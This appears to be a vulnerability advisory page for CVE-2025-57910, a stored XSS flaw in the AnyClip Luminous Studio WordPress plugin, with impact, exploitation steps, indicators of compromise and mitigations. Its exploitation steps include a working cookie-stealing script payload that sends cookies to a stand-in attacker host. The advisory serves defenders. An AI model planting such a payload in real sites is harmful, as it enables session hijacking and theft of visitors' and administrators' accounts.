CVE-2025-57910
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-57910 is a Stored Cross-Site Scripting (XSS) vulnerability in the AnyClip Luminous Studio WordPress plugin (also known as anyclip-media). It affects all versions up to and including 1.3.3, with no official patch available as of the disclosure date. The vulnerability was reported by researcher Peter Thaleikis on July 9, 2025, and publicly disclosed on September 22, 2025. It carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting) and arises from insufficient sanitization or escaping of user-supplied input before it is rendered in web pages generated by the plugin. An authenticated attacker with at least Contributor or Developer-level privileges can inject malicious scripts that are persistently stored and later executed in the browsers of other users who visit affected pages. Exploitation requires user interaction from a privileged user (e.g., viewing a crafted page), and the scope is changed, meaning the impact can extend beyond the vulnerable component itself (Patchstack).

Impact

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript within the WordPress site, which executes in the browsers of visitors — including administrators — who view the affected content. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection of site visitors to malicious external resources. The changed scope means the impact extends to users beyond the attacker's own session, affecting site integrity and visitor confidentiality (Patchstack).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the AnyClip Luminous Studio plugin version 1.3.3 or earlier, using tools such as WPScan or by inspecting plugin directories.
  2. Obtain low-privilege access: Acquire or register an account with at least Contributor-level privileges on the target WordPress site.
  3. Inject malicious payload: Navigate to a plugin-controlled input field (e.g., a post, page, or plugin-specific configuration area) and insert a stored XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  4. Trigger execution: The malicious script is stored server-side and executes automatically in the browser of any user (including administrators) who views the affected content.
  5. Harvest results: Collect stolen session cookies, credentials, or perform further actions (e.g., privilege escalation, site takeover) using the captured data (Patchstack).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to plugin-related endpoints from low-privilege accounts containing script tags or encoded JavaScript payloads (e.g., %3Cscript%3E, javascript:, onerror=).
  • File System: Unexpected modifications to plugin files or database entries in wp_posts or wp_options tables containing embedded <script> tags or obfuscated JavaScript.
  • Network: Outbound HTTP requests from site visitors' browsers to unknown external domains shortly after viewing plugin-rendered content, potentially carrying cookie or session data in query parameters.
  • Process/Behavior: Admin accounts performing unexpected actions (e.g., creating new admin users, changing site settings) that may indicate session hijacking via stolen cookies.

Mitigation and workarounds

As of the disclosure date (September 22, 2025), no official patched version of the AnyClip Luminous Studio plugin is available. Site administrators should consider deactivating and removing the plugin until a fix is released by the vendor. As a compensating control, restrict Contributor and lower-level user roles from accessing plugin-controlled input fields, and implement a Web Application Firewall (WAF) rule to detect and block XSS payloads. Monitor the WordPress plugin repository and vendor communications for an updated version (Patchstack).

Community reactions

The vulnerability was covered in Wordfence's weekly WordPress vulnerability report for the week of September 22–28, 2025, and summarized in Red Packet Security's CISA vulnerability summary for the same week. No significant vendor statements, researcher commentary, or broader media coverage have been identified beyond routine vulnerability aggregation.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-13147CRITICAL9.1
  • kirki
NoYesJul 20, 2026
CVE-2026-9833HIGH7.1
  • tag-groups
NoYesJul 20, 2026
CVE-2026-13432MEDIUM5.4
  • image-sizes
NoYesJul 20, 2026
CVE-2026-13156MEDIUM5.4
  • mailersend-official-smtp-integration
NoYesJul 20, 2026
CVE-2026-8825MEDIUM4.9
  • elementor
NoYesJul 20, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management